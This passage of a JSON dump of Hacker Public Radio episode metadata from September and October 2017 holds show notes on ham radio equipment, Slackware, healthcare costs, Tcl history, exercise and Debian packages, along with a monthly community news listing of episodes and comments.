                                                            Montague has a research facility built into the "Cliff". With gravity travelling sideways, the surface of the planet appears as an endless cliff. "Above" the facility is a huge metal awning to deflect falling boulders. On top of the awning is where the security team discovers the body of Dr. Devin Grupper. The damage to the body suggests Dr. Grupper impacted with terminal velocity. Even in the lighter gravity of Freefall constant acceleration means terminal velocity is governed by air resistance. Montague does use airships for transport, but there are no records of how Grupper could have secured transportation and a pilot to wind up smashed on the awning without a ship going missing. Thus Security Second Ella Forecourt is assigned to the case. "Forever Falls" is but one in a series of Montague Portal novels by Michael Lucas. I look forward to reading the rest of the series.

                                                            \n

                                                            https://www.amazon.com/Michael-Warren-Lucas/e/B001JP9NEY

                                                            ","hostid":131,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Kansas Linux Fest, book review","version":0,"downloads":0,"valid":1}, {"id":2383,"date":"2017-09-20","title":"What's In My Ham Shack","duration":2244,"summary":"I describe the equipment that I have an use in my Amateur Radio station.","notes":"

                                                            What's In My Ham Shack

                                                            \n

                                                            In this episode I am starting what I hope will become a series where Amateur Radio operators talk about what equipment they have and use in their Ham Shacks.

                                                            \n

                                                            Ham Shack Definition

                                                            \n

                                                            A good definition of exactly what a Ham Shack is can be found on Wikipedia.

                                                            \n

                                                            https://en.wikipedia.org/wiki/Radio_shack

                                                            \n

                                                            Categories of Ham Radio gear

                                                            \n

                                                            I tend to divide gear into the following categories.

                                                            \n
                                                              \n
                                                            1. Portable - hand-held devices designed for carrying.
                                                            2. \n
                                                            3. Mobile - equipment that is designed to be used in a vehicle.
                                                            4. \n
                                                            5. Base - gear used in a fixed station environment.
                                                            6. \n
                                                            7. Miscellaneous - other stuff.
                                                            8. \n
                                                            \n

                                                            My Ham Shack

                                                            \n

                                                            You can google any of these model numbers to see what the hardware looks like and learn more about it.

                                                            \n

                                                            Portable Gear

                                                            \n
                                                              \n
                                                            • Allinco DJ-190 Handy-Talkie
                                                            • \n
                                                            • Yeasu VX-6R tri-band Handy-Talkie
                                                            • \n
                                                            \n

                                                            Mobile Gear

                                                            \n
                                                              \n
                                                            • Yeasu FT-8800 dual-band radio
                                                            • \n
                                                            • New Motorolla Mount (NMO) antenna mount
                                                            • \n
                                                            • Comet B-10nmo mobile antenna
                                                            • \n
                                                            • Comet SBB-5nmo mobile antenna
                                                            • \n
                                                            \n

                                                            Base Station Gear

                                                            \n
                                                              \n
                                                            • ICOM IC-746 HF+6m+2m radio
                                                            • \n
                                                            • Grasshopper II vertical HF antenna
                                                            • \n
                                                            • Unknown brand vertical 2-meter/70-cm base station antenna
                                                            • \n
                                                            • MFJ-4225MV Switching Power Supply
                                                            • \n
                                                            • MFJ-949E Manual Antenna Tuner
                                                            • \n
                                                            • LDG Electronics AT-200Pro II Automatic Antenna Tuner
                                                            • \n
                                                            • Computer running Xubuntu 16.04
                                                            • \n
                                                            • West Mountain RIGblaster Advantage digital interface
                                                            • \n
                                                            \n

                                                            Miscellaneous Gear

                                                            \n
                                                              \n
                                                            • MFJ-269C Antenna Analyzer
                                                            • \n
                                                            • Stereo head-phones and microphone
                                                            • \n
                                                            • Push-to-Talk pedal
                                                            • \n
                                                            • RTL-SDR Dongle
                                                            • \n
                                                            • Collection of various connectors and adaptors
                                                            • \n
                                                            ","hostid":334,"series":43,"explicit":1,"license":"CC-BY-SA","tags":"ham radio, amateur radio, radio, shack, equipment","version":0,"downloads":0,"valid":1}, {"id":2384,"date":"2017-09-21","title":"Slackware in Scotland","duration":3399,"summary":"Beni comes to Scotland and talks to Andrew about Slackware 14.2, a year after release.","notes":"

                                                            Beni aka @Navigium visited Andrew aka @mcnalu in Scotland as part of a cycling tour and they decided to record a follow up to their previous HPR show on Slackware to mark the release of Slackware 14.2, or rather the first anniversary of its release.

                                                            \n

                                                            Some points and links mentioned are:

                                                            \n
                                                              \n
                                                            • Arch is for fruitflies, Slackware for elephants?
                                                            • \n
                                                            • Destroying a hard drive hammer or drill?
                                                            • \n
                                                            • Grub vs Lilo?
                                                            • \n
                                                            • Changes in Slackware - no changes an end user would notice! Pulseaudio now included as needed for bluetooth support. In Andrew's experience of 14.1 and before, only one package needed Pulseaudio, namely the game VVVVVV and even then it just wanted to see it installed, didn't need it for sound to work!
                                                            • \n
                                                            • You can get gnome for slackware with dropline GNOME.
                                                            • \n
                                                            • Digression: Trains in Switzerland vs Scotland
                                                            • \n
                                                            • Beni and Andrew generally build our packages using the slackbuilds.org. There can be dependency issues but it's rare. Worst case is Pandoc with its Haskell deps but sbopkg queue files are a great help there. Beni recommends sbotools as an alternative that deals with this and feels like portsnap on FreeBSD.
                                                            • \n
                                                            • Digression: Recommend this HPR show on open-sourcing of Colossal Cave Adventure by ClaudioM.
                                                            • \n
                                                            • Managing WiFi networks: wicd vs NetworkManager vs rc.inet1 (slackware network config script).
                                                            • \n
                                                            • When camping and cycling, power is precious. Beni explains how to pack a bicycle for air travel.
                                                            • \n
                                                            • Expect Slackware in Switzerland!
                                                            • \n
                                                            \n

                                                            The hosts wish to clarify that no Italian Arch linux users nor fruitflies were harmed during the recording of this show.

                                                            ","hostid":268,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"linux,slackware,scotland,bicycles","version":0,"downloads":0,"valid":1}, {"id":2385,"date":"2017-09-22","title":"Healthcare Costs","duration":772,"summary":"What are the cost pressures in healthcare?","notes":"

                                                            The big driver to changing the healthcare system in the U.S. was the inexorable rise in healthcare costs. These costs kept rising for a number of reasons, which we look at at in this episode.

                                                            \n

                                                            Links:

                                                            \n","hostid":198,"series":100,"explicit":0,"license":"CC-BY-SA","tags":"Health Insurance, Health Policy, Insurance Marketplace, Healthcare Costs","version":0,"downloads":0,"valid":1}, {"id":2386,"date":"2017-09-25","title":"The Decline and Fall of Tcl","duration":1733,"summary":"... in which I'm reading Where Tcl and Tk went wrong, by David N Welton, posted on 2010-03-30","notes":"

                                                            Tcl is an interesting language that does many things \"wrong\", especially if you're coming from a LISP perspective, and especially-especially if you're coming from a Scheme perspective. Examples are all over the C2 wiki, but probably DynamicStringsVsFunctional is the epicenter.

                                                            \n

                                                            It also forms an important part of modern Scheme history, as the Tcl War led to the creation of Guile.

                                                            \n

                                                            What happened after that? Where Tcl and Tk went wrong, by David N Welton

                                                            \n

                                                            TL;DL: Tcl was successful because it found its niche as a lightweight yet capable language able to both integrate and be integrated with C code, but it fell behind on Tk look-and-feel compared to GNOME and KDE and also on other mainstream development phenomena, it ossified because it was afraid to upset its installed base, it got stuck between not-slim-enough and not-featureful-enough, the syntax is too weird, and it spiraled into losing touch with the rest of the free software world, which ultimately also affected business use.

                                                            \n

                                                            Further notes

                                                            \n
                                                              \n
                                                            • Guile (again) faces several of these same challenges.
                                                            • \n
                                                            • Haskell tries to avoid success at all costs, in order to not lose the freedom to improve the language.
                                                            • \n
                                                            • Python and Perl both have Tk integrations and Python's IDLE is even implemented in it. Lua had ltk, but it's no longer maintained. There is even a Tcl/Tk package for R.
                                                            • \n
                                                            • Ousterhout pronounces it OH-stir-howt, which may or may not be how I pronounced it. I think the guttural sound may be reserved for the Dutch \"G\" and have nothing to do with \"H\".
                                                            • \n
                                                            \n

                                                            Potential episodes

                                                            \n
                                                              \n
                                                            • Fossil
                                                            • \n
                                                            • Tcl
                                                            • \n
                                                            \n","hostid":311,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"tcl, tk, history, languages, community","version":0,"downloads":0,"valid":1}, {"id":2387,"date":"2017-09-26","title":"Free Weights and a Bicycle","duration":1246,"summary":"Frank discusses his life-long love for free weights","notes":"

                                                            Frank discusses his long experience with trying not to get fat by using free weights and a bicycle. Free weights are, without question, the geekiest form of exercise, having a versatility and flexibility unmatched by any alternative.

                                                            \n

                                                            Here are some sample programs:

                                                            \n\n

                                                            Sample Programs:

                                                            \n
                                                              \n
                                                            • Procedure: 3 sets × 8 reps, increasing to 10 reps, then add five pounds and start over with 8 reps.

                                                            • \n
                                                            • Exercises (* = requires bench, **= bench desirable):

                                                              \n
                                                                \n
                                                              • Program One: Leg Raises,* Leg Curls,* Dumbbell Flies,** Barbell Curls, Triceps Pull-Overs, Forward and Reverse Wrist Twists (using pipe with rope to raise and lower weights)

                                                              • \n
                                                              • Program Two: Dumbbell Lunge, Bench Press,* Bent-Over Rows, Dumbbell Kickbacks, Zottman Curls, Forward and Reverse Wrist Curls

                                                              • \n
                                                              • Program Three: Half Squats, Bench Press, Concentration Curls, Dumbbell Kickbacks, Forward and Reverse Wrist Curls.

                                                              • \n
                                                            • \n
                                                            \n

                                                            As stated in the podcast, Frank has not found many weight-training websites appealing. The websites tend to be for fanatic bodybuilders or for pitching products. This one, though, has a pretty good catalog of exercises: https://www.weight-training-exercises.com/. Note that the same exercise may be known by several names, depending on the speaker.

                                                            \n

                                                            Free Weights:

                                                            \n

                                                            \n

                                                            A bicycle:

                                                            \n

                                                            \"A

                                                            \n","hostid":195,"series":100,"explicit":0,"license":"CC-BY-SA","tags":"exercise, free weights, physical fitness","version":0,"downloads":0,"valid":1}, {"id":2388,"date":"2017-09-27","title":"Apt Spelunking 4: Planet of the Apts","duration":543,"summary":"Another couple of interesting packages from the Debian repos","notes":"

                                                            It's another exciting episode of Apt Spelunking! The fourth installation, which covers the following packages:

                                                            \n

                                                            dunst - Lightweight notification daemon

                                                            \n

                                                            Dunst is a lightweight, customizeable desktop notification daemon. Similar to Ubuntu's notify-osd, it displays passive notifications with very minimal resources. It has customizeable keystrokes, and its colors can be configured as well.

                                                            \n

                                                            i3 - Lightweight tiling window manager

                                                            \n

                                                            i3 is my window manager of choice; tiling, extremely customizeable, and absurdly light. With fantastic support for multiple monitors, and vim keybindings, it eventually finds its way onto every machine I use.

                                                            \n

                                                            uqm - Ur-Quan Masters

                                                            \n

                                                            Derived from Star Control II, Ur-Quan Masters is a fantastic retro game about spaceships and aliens. Earth has been seized, and is isolated from the rest of the galaxy. Luckily, you happen to have yourself a ship built with ancient mystic technology and whatnot.

                                                            \n

                                                            Fun, funny, and dangerously addictive; make sure to stay away from this game if you have things to do.

                                                            ","hostid":196,"series":98,"explicit":1,"license":"CC-BY-SA","tags":"recommendations,software,repositories","version":0,"downloads":0,"valid":1}, {"id":2389,"date":"2017-09-28","title":"Thoughts on Lifetime Learning","duration":568,"summary":"In this episode, I talk about my experiences in learning to be a good learner","notes":"

                                                            Thoughts on Lifetime Learning

                                                            \n

                                                            For some of my other thoughts on this topic, consider reading this blog post.

                                                            \n","hostid":300,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"learning, self-improvement","version":0,"downloads":0,"valid":1}, {"id":2390,"date":"2017-09-29","title":"Still in the game","duration":1449,"summary":"Klaatu compares PC and tabletop gaming","notes":"

                                                            In a counterpoint to episode 2381, Klaatu talks about how PC gaming compares to tabletop gaming.

                                                            ","hostid":78,"series":95,"explicit":0,"license":"CC-BY-SA","tags":"game,gaming,tabletop,rpg,pc gaming","version":0,"downloads":0,"valid":1}, {"id":2391,"date":"2017-10-02","title":"HPR Community News for September 2017","duration":4875,"summary":"HPR Volunteers talk about shows released and comments posted in September 2017","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nThere were no new hosts this month.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            2370Fri2017-09-01Who is HortonWorks?JWP
                                                            2371Mon2017-09-04HPR Community News for August 2017HPR Volunteers
                                                            2372Tue2017-09-05Docbookklaatu
                                                            2373Wed2017-09-06PCGenklaatu
                                                            2374Thu2017-09-07How to Make SauerkrautTony Hughes AKA TonyH1212
                                                            2375Fri2017-09-08Competing InterestsAhuka
                                                            2376Mon2017-09-11Information Underground: 21st Century Superstardeepgeek
                                                            2377Tue2017-09-12A Rambling Drive Into WorkMrX
                                                            2378Wed2017-09-13Why Docbook?klaatu
                                                            2379Thu2017-09-14sending a text message from the command lineJezra
                                                            2380Fri2017-09-15Raspbian X86 on P4 TowerTony Hughes AKA TonyH1212
                                                            2381Mon2017-09-18Benefits of a tabletopklaatu
                                                            2382Tue2017-09-19A Non Spoilery Review of \"git commit murder\" and \"Forever Falls\" by Michael Warren LucasFiftyOneFifty
                                                            2383Wed2017-09-20What's In My Ham ShackSteve Saner
                                                            2384Thu2017-09-21Slackware in ScotlandAndrew Conway
                                                            2385Fri2017-09-22Healthcare CostsAhuka
                                                            2386Mon2017-09-25The Decline and Fall of Tclclacke
                                                            2387Tue2017-09-26Free Weights and a BicycleFrank Bell
                                                            2388Wed2017-09-27Apt Spelunking 4: Planet of the AptsWindigo
                                                            2389Thu2017-09-28Thoughts on Lifetime LearningMr. Young
                                                            2390Fri2017-09-29Still in the gameklaatu
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.
                                                            \nThere are 41 comments in total.

                                                            \n

                                                            There are 11 comments on\n5 previous shows:

                                                            \n
                                                            • hpr2356\n(2017-08-14) \"Safely enabling ssh in the default Raspbian Image\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nsesamemucho on 2017-09-10:\n\"Thanks for pulling this together\"
                                                              • \n
                                                              • \nComment 3:\nKen Fallon on 2017-09-19:\n\"Fantastic\"

                                                              \n
                                                            • hpr2358\n(2017-08-16) \"Amateur radio round table #2\"\nby Various Hosts.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nJosh Huber KF6ZZD on 2017-09-25:\n\"Doppler shift of RF at terrestrial speeds\"

                                                              \n
                                                            • hpr2360\n(2017-08-18) \"Tradeoffs in the US Health Care System\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nKevin O'Brien on 2017-09-03:\n\"Still have tradeoffs\"

                                                              \n
                                                            • hpr2364\n(2017-08-24) \"Managing Your Android with AirDroid\"\nby Frank Bell.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nBrenda J Butler on 2017-09-20:\n\"Run naked through the googleplex - haha\"

                                                              \n
                                                            • hpr2369\n(2017-08-31) \"Little Meters\"\nby NYbill.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nNYbill on 2017-09-01:\n\"Ambient Noise\"
                                                              • \n
                                                              • \nComment 4:\nNYbill on 2017-09-01:\n\"8008\"
                                                              • \n
                                                              • \nComment 5:\nMike Ray on 2017-09-01:\n\"Ambient noise and ASMR\"
                                                              • \n
                                                              • \nComment 6:\nNYbill on 2017-09-01:\"[no title]\"
                                                              • \n
                                                              • \nComment 7:\nNot Verified on 2017-09-06:\n\"1\"
                                                              • \n
                                                              • \nComment 8:\nNYbill on 2017-09-06:\n\"ESR tester kits.\"

                                                              \n
                                                            \n

                                                            There are 30 comments on 12 of this month's shows:

                                                            \n
                                                            • hpr2371\n(2017-09-04) \"HPR Community News for August 2017\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nFrank on 2017-09-30:\"[no title]\"
                                                              • Comment 2:\nKen Fallon on 2017-09-30:\n\"We have gone live with the new comment system\"
                                                              • Comment 3:\ndodddummy on 2017-09-30:\n\"In the US jelly is also clear and jam isn't.\"
                                                              • Comment 4:\nDave Morriss on 2017-09-30:\n\"Jam versus jelly\"

                                                              \n
                                                            • hpr2374\n(2017-09-07) \"How to Make Sauerkraut\"\nby Tony Hughes AKA TonyH1212.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\njezra on 2017-09-30:\n\"splendid!\"
                                                              • Comment 2:\nTony Hughes on 2017-09-30:\n\"Splendid\"

                                                              \n
                                                            • hpr2376\n(2017-09-11) \"Information Underground: 21st Century Superstar\"\nby deepgeek.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nA Porkchop on 2017-09-30:\n\"Communities\"
                                                              • Comment 2:\nKevin O'Brien on 2017-09-30:\n\"Great discussion\"

                                                              \n
                                                            • hpr2377\n(2017-09-12) \"A Rambling Drive Into Work\"\nby MrX.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ndodddummy on 2017-09-30:\n\"I know you said you didn't need this, but...\"
                                                              • Comment 2:\nthelovebug on 2017-09-30:\n\"Great concept for a show... so I pinched it!\"

                                                              \n
                                                            • hpr2378\n(2017-09-13) \"Why Docbook?\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMike Ray on 2017-09-30:\n\"kramdown\"
                                                              • Comment 2:\nFlorian on 2017-09-30:\n\"whats so hard about code in a list?\"
                                                              • Comment 3:\nKlaatu on 2017-09-30:\n\"Kramdown\"
                                                              • Comment 4:\nKlaatu on 2017-09-30:\n\"github markdown\"

                                                              \n
                                                            • hpr2379\n(2017-09-14) \"sending a text message from the command line\"\nby Jezra.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\njezra on 2017-09-30:\n\"feedback!\"
                                                              • Comment 2:\nKen Fallon on 2017-09-30:\n\"We do what you ask :)\"
                                                              • Comment 3:\njezra on 2017-09-30:\n\"force of habit?\"

                                                              \n
                                                            • hpr2380\n(2017-09-15) \"Raspbian X86 on P4 Tower\"\nby Tony Hughes AKA TonyH1212.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ndodddummy on 2017-09-30:\n\"Glad you posted\"
                                                              • Comment 2:\nKleer Kut on 2017-09-30:\n\"Raspbian x86\"

                                                              \n
                                                            • hpr2381\n(2017-09-18) \"Benefits of a tabletop\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ngurdonark on 2017-09-30:\n\"good episode\"
                                                              • Comment 2:\nShane Shennan on 2017-09-30:\n\"I like how you put that!\"

                                                              \n
                                                            • hpr2384\n(2017-09-21) \"Slackware in Scotland\"\nby Andrew Conway.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nsunzofman1 on 2017-09-30:\n\"Still Thriving\"

                                                              \n
                                                            • hpr2385\n(2017-09-22) \"Healthcare Costs\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMr. Young on 2017-09-30:\n\"Impressive\"
                                                              • Comment 2:\nBob on 2017-09-30:\n\"More information\"

                                                              \n
                                                            • hpr2386\n(2017-09-25) \"The Decline and Fall of Tcl\"\nby clacke.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nclacke on 2017-09-30:\n\"More */Tk\"
                                                              • Comment 2:\nMad Sweeney on 2017-09-30:\n\"Tk is not accessible\"
                                                              • Comment 3:\nclacke on 2017-09-30:\n\"rms flamefest\"
                                                              • Comment 4:\nMad Sweeney on 2017-09-30:\n\"Flamefest\"

                                                              \n
                                                            • hpr2388\n(2017-09-27) \"Apt Spelunking 4: Planet of the Apts\"\nby Windigo.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2017-09-30:\n\"Wasting shows again\"
                                                              • Comment 2:\njezra on 2017-09-30:\n\"hahah\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available in the archives run\nexternally by Gmane\n(see below) and on the HPR server under Mailman.\n

                                                            \n

                                                            Note: since the summer of 2016 Gmane has changed location and is currently\nbeing reestablished. At the moment the HPR archive is not available there.

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2017-September/thread.html\n\n\n

                                                            Any other business

                                                            \n
                                                              \n
                                                            • Podcast Awards\n\t

                                                              The Podcast Awards\n\t Ceremony is at 5pm PST on September 30th 2017. That is the day on\n\t which this HPR episode is being recorded, and it is also\n\t International Podcast Day!

                                                              \n\t

                                                              Again this year, HPR is a contender for the Technology Category.

                                                              \n
                                                            • \n
                                                            • FOSDEM 2018\n\t

                                                              For the upcoming FOSDEM 2018 we have applied for a Podcaster's\n\t Table where a range of technical podcasts (including HPR)\n\t will be promoted. We have collected notes of interest from a wide\n\t range of podcasts, and some representatives will hopefully be able\n\t to join us as we run this table.

                                                              \n\t

                                                              We are hoping that this application will be approved by the FOSDEM\n\t administrators.

                                                              \n
                                                            • \n
                                                            • Website issues\n\t

                                                              Over the past month the HPR website has been very slow at times, or\n\t has been so overloaded that it has effectively been unavailable.\n\t This has been caused by various web robots which have been\n\t scanning the site for long periods in a very inefficient way.

                                                              \n\t

                                                              We are aware of this and Josh has been taking remedial action.\n\t However, because these robots are not behaving in a standard way,\n\t the range of preventative action is limited without purchasing more\n\t sophisticated tools.

                                                              \n\t

                                                              For the moment we are monitoring the situation.

                                                              \n
                                                            • \n
                                                            • Anhonesthost.com\n\t

                                                              Just a reminder: HPR's webhosting service and behind the scenes\n\t facilities are provided free of charge by Josh Knapp of\n\t anhonesthost.com.

                                                              \n
                                                            • \n\n
                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2392,"date":"2017-10-03","title":"Weather, Ogg Camp, Server Room, ITO collection","duration":466,"summary":"A short podcast about various things mostly OggCamp","notes":"

                                                            A short show about the weather in Texas and Germany, Oggcamp 2017 and my Server room. I have been having trouble with my Raspberry Pi collection being too large and new in the box.

                                                            ","hostid":129,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"OggCamp","version":0,"downloads":0,"valid":1}, {"id":2393,"date":"2017-10-04","title":"PWGen - A password generator","duration":1355,"summary":"Xoke talks about how he uses PWGen to set people's passwords at work","notes":"
                                                              \n
                                                            • Download PWGen here
                                                            • \n
                                                            • Download the 5 letter word list here
                                                            • \n
                                                            ","hostid":79,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Security, Passwords","version":0,"downloads":0,"valid":1}, {"id":2394,"date":"2017-10-05","title":"The Lost Episode","duration":1622,"summary":"NYbill talks about building an inexpensive transistor tester... a year after the fact.","notes":"

                                                            NYbill puts up a ‘Lost Episode’ recorded in October, 2016. A comment for Ep. 2369 asking if I have ever built one of the many Transistor Kits available jogged my memory. I still had the recording so, I’ll just throw it up. I’m not sure how many pics I can find for the episode. I’ll put up what I can.

                                                            \n

                                                            And just for Mike Ray, I’ll leave in some bench noises I would usually edit out. ;)

                                                            \n

                                                            The soldering vice being used:

                                                            \n

                                                            https://www.amazon.com/Aven-17010-Adjustable-Circuit-Holder/dp/B00Q2TTQEE/ref=sr_1_3?ie=UTF8&qid=1505162033&sr=8-3&keywords=soldering+vise

                                                            \n

                                                            Solder sucker:

                                                            \n

                                                            https://www.amazon.com/Electronix-Express-060820-Solder-Desoldering/dp/B00L2HRW92/ref=sr_1_4?s=industrial&ie=UTF8&qid=1505162388&sr=1-4&keywords=solder+sucker

                                                            \n

                                                            The kit (This looks like the one I ordered. But, it's been about a year gone by now. This one shows firmware running on the chip in the pics. You can take a gamble on it if you’d like):

                                                            \n

                                                            https://www.ebay.com/itm/2016-DIY-GM328-Transistor-Tester-LCR-ESR-meter-PWM-Square-wave-Signal-Generator-/272234590655?epid=2013312516&hash=item3f627231bf:g:Y5oAAOSw3mpXLEvU

                                                            \n

                                                            Pics for the episode:

                                                            \n

                                                            https://media.gunmonkeynet.net/u/nybill/collection/2016-diy-transistor-kit/

                                                            ","hostid":235,"series":103,"explicit":0,"license":"CC-BY-SA","tags":"Electronics, kits, testers","version":0,"downloads":0,"valid":1}, {"id":2395,"date":"2017-10-06","title":"Obamacare","duration":949,"summary":"What did Obamacare do?","notes":"

                                                            In previous episodes we set the stage by examining insurance, the marketplace, competing interests, tradeoffs, and costs. With that we can now understand what Obamacare attempted to do and give a tentative evaluation of the legislation and its effects.

                                                            \n

                                                            Links:

                                                            \n","hostid":198,"series":100,"explicit":0,"license":"CC-BY-SA","tags":"Health Insurance, Health Policy, Insurance Marketplace, Obamacare","version":0,"downloads":0,"valid":1}, {"id":2396,"date":"2017-10-09","title":"Information Underground: State of independence","duration":2560,"summary":"Deepgeek, Lostnbronx, and Klaatu talk about the state of independent art.","notes":"

                                                            Deepgeek, Lostnbronx, and Klaatu talk about the state of independent art.

                                                            ","hostid":107,"series":99,"explicit":0,"license":"CC-BY-SA","tags":"art, independent art, media, marketing","version":0,"downloads":0,"valid":1}, {"id":2397,"date":"2017-10-10","title":"The Urban Astronomer","duration":1959,"summary":"An introduction to an astronomy podcast that you might like","notes":"

                                                            The Urban Astronomer

                                                            \n

                                                            I'm interested in Astronomy and listen to a number of Astronomy podcasts. I have listed a few of these in the past when doing HPR shows about the podcast feeds I subscribe to (shows 1516, 1518 and 2339).

                                                            \n

                                                            One of the recent additions to my podcast list that I have been listening to this year is called "The Urban Astronomer", which has a website here and a podcast feed here. The site and podcast are run by Allen Versfeld, who is based in South Africa.

                                                            \n

                                                            To quote from the website:

                                                            \n
                                                            \n

                                                            Allen is an amateur astronomer, an IT professional, a podcaster, a father of five beautiful kids and a barely competent chess player. He is also the director of the Astrophotography Section of the Astronomical Society of South Africa, where he coordinates and promotes the activities of people who are far better photographers than him.

                                                            \n
                                                            \n

                                                            I have been enjoying Allen's episodes a lot. There are some great interviews with some very interesting people in the world of Astronomy. Allen has a relaxed interviewing style which I find appealing.

                                                            \n

                                                            I wrote to him, commenting on one of his episodes, and I mentioned Hacker Public Radio in my email. He has subscribed to HPR and has been kind enough to mention it on a recent podcast. I'm offering you a chance to listen to one of his episodes here.

                                                            \n

                                                            The episode is number 12 of "The Urban Astronomer", from June 16, 2017. It is an interview with Jen Millard, a first year Astronomy PhD student at Cardiff University in the UK. Jen is also a host on the "Awesome Astronomy" podcast, as mentioned in the episode.

                                                            \n

                                                            I hope you enjoy listening to this example episode.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"astronomy,podcast","version":0,"downloads":0,"valid":1}, {"id":2398,"date":"2017-10-11","title":"AutoHotkey Master of Automation ?","duration":1042,"summary":"I'll go over my AutoHotkey script I used to give free money in GTA (dropping)","notes":"","hostid":36,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"GTA5,hacking,macros,autohotkey","version":0,"downloads":0,"valid":1}, {"id":2399,"date":"2017-10-12","title":"Using Super Glue to create Landmarks on Keyboards","duration":639,"summary":"Using Super Glue to create Landmarks on Keyboards","notes":"Using Super Glue to create Landmarks on Keyboards\n","hostid":151,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"keyboard, function key, laptop keyboard","version":0,"downloads":0,"valid":1}, {"id":2400,"date":"2017-10-13","title":"My commute into work","duration":2208,"summary":"In this episode, Dave records an episode across his entire commute into work.","notes":"

                                                            In this episode, Dave records an episode across his entire commute into work.

                                                            \n\n

                                                            Hacker Public Radio episodes by me so far:

                                                            \n\n

                                                            How am I recording

                                                            \n

                                                            I'm recording this episode, in my car, on a Samsung Galaxy A5 with a Neewer lavalier microphone (as recommended by HPR's own Jon Kulp) attached to my jacket, recording using the Auphonic Edit Android app (also on iOS).

                                                            \n

                                                            Post-recording, I also ran the audio recorded using AuphonicEdit to the Auphonic website for levelling.

                                                            \n

                                                            My portable podcasting setup

                                                            \n

                                                            (previously mentioned on hpr2117) and used to record Sat On My Doorstep 1 - Alex, published to Anchor on 2017-09-13)

                                                            \n\n

                                                            As an aside*

                                                            \n

                                                            Both Caroline and I use that particular microphone each to record The Bugcast each week. Both the Samson and AudioTechnica microphones have been recommended by Daniel J Lewis of The Audacity To Podcast for those podcasters who cannot afford professional level equipment.

                                                            \n

                                                            The cars I have owned

                                                            \n

                                                            This list may contradict the detail provided in the episode... that's because I may have made a few errors in recollection when I was recording.

                                                            \n\n

                                                            Shameless plugs

                                                            \n\n

                                                            I also guested on:

                                                            \n\n

                                                            Drive statistics

                                                            \n
                                                              \n
                                                            • From Conisbrough to New Ollerton (rough location map)
                                                            • \n
                                                            • roughly 28 miles
                                                            • \n
                                                            • roughly 36 minutes
                                                            • \n
                                                            \n","hostid":314,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"commute,car,cars,driving,podcasting,equipment,podcasting equipment,anchor,anchor.fm,the bugcast","version":0,"downloads":0,"valid":1}, {"id":2401,"date":"2017-10-16","title":"Music Theory Hara-Kiri","duration":970,"summary":"A show on music theory, and figuring out what viewers on hear actually want with a music theory show","notes":"

                                                            Yeah just want feedback on what to do with a music theory show, since I see it was on the requested lists and no one was really doing it that I've seen.

                                                            ","hostid":354,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Music, Music Theory","version":0,"downloads":0,"valid":1}, {"id":2402,"date":"2017-10-17","title":"Petition: the card game for fanatics","duration":2520,"summary":"Klaatu talks about a card game he designed","notes":"

                                                            Klaatu talks about a card game that he designed and is currently Kickstarting. Hear all about the exciting game play in this episode!

                                                            \n

                                                            It's a neato fantasy battle game, and is Creative Commons and open source. He hopes to finance, specifically, the artwork, which is being done by artist Nikolai Mamashev on Linux with Krita.

                                                            \n

                                                            If you want to contribute, go to https://www.kickstarter.com/projects/s8hzk27aqx/petition-a-card-game-for-fanatics

                                                            ","hostid":78,"series":95,"explicit":0,"license":"CC-BY-SA","tags":"game,gaming,tabletop,rpg","version":0,"downloads":0,"valid":1}, {"id":2403,"date":"2017-10-18","title":"Amateur Radio Round Table #3","duration":3550,"summary":"Two guys try to answer Ken's questions about ham radio.","notes":"

